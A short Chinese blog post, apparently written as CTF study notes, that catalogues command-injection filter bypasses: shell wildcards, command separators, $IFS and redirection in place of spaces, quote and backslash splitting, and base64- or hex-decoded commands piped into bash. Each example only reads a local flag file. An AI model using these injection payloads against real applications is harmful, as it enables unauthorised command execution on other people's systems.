命令注入绕过姿势

拜读了大佬的文章:巧用命令注入的N种姿势
总结一下命令注入的绕过姿势,以后遇到继续填坑。

通配符

?:匹配任何一个字符

$ cat fl??
flag{test_Smi1e}

*:匹配任何字符串/文本,包括空字符串

$ cat fla*
flag{test_Smi1e}

[....]:匹配范围中任何一个字符
[a-z]:匹配a-z范围中任何一个字符

$ cat fl[abc]g
flag{test_Smi1e}

$ cat fl[a-c]g
flag{test_Smi1e}

{a,b}:对以逗号分割的文件列表进行拓展

$ cat fl{a,b}g
flag{test_Smi1e}
cat: flbg: 没有那个文件或目录

$ {cat,flag}
flag{test_Smi1e}

{...}[...]有一个很重要的区别。如果匹配的文件不存在,[...]会失去模式的功能,变成一个单纯的字符串,而{...}依然可以展开。

# 不存在 a.txt 和 b.txt
$ ls [ab].txt
ls: [ab].txt: No such file or directory

$ ls {a,b}.txt
ls: a.txt: No such file or directory
ls: b.txt: No such file or directory

命令分隔与执行多条命令

Unix

%0a
%0d
;
&
|
$(shell_command)`shell_command`{shell_command,}

Windows

%0a
&
|
%1a - 一个神奇的角色,作为.bat文件中的命令分隔符

空格绕过

使用<或>
cmd <> file 以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的。

$ cat<flag
flag{test_Smi1e}

$ cat<>flag #需要写权限
flag{test_Smi1e}

IFS是一种 set 变量,当 shell 处理”命令替换”和”参数替换”时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。

$ cat$IFS/flag
flag{test_Smi1e}

url编码

%20
+
%09(tab)
%3c(<)

变量控制

$ X=$'cat\x20/flag'&&$X
flag{test_Smi1e}
$ X=$'cat\x09/flag'&&$X
flag{test_Smi1e}

黑名单绕过

空变量

$ ca$@t /flag
flag{test_Smi1e}
$ ca$1t /fl$1ag
flag{test_Smi1e}

变量替换

$ a=c;b=at;c=flag;$a$b $c
flag{test_Smi1e}

编码绕过

$ echo "Y2F0IC9mbGFn"|base64 -d|bash
flag{test_Smi1e}
#base64可能会出现/

$ echo "636174202f666c6167" | xxd -r -p|bash  #hex
flag{test_Smi1e}

$ $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
flag{test_Smi1e}

引号

$ c"a"t /f'l'a'g'
flag{test_Smi1e}

反斜线

$ c\at fl\ag
flag{test_Smi1e}

利用已有资源与字符

$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ echo $PATH|cut -c 1
/
$ cat `echo $PATH|cut -c 1`flag
flag{test_Smi1e}

${PS2} 对应字符 >
${PS4} 对应字符 + 
${IFS} 对应 内部字段分隔符 
${9} 对应 空字符串

1 thought on “命令注入绕过姿势”

发表评论

电子邮件地址不会被公开。 必填项已用*标注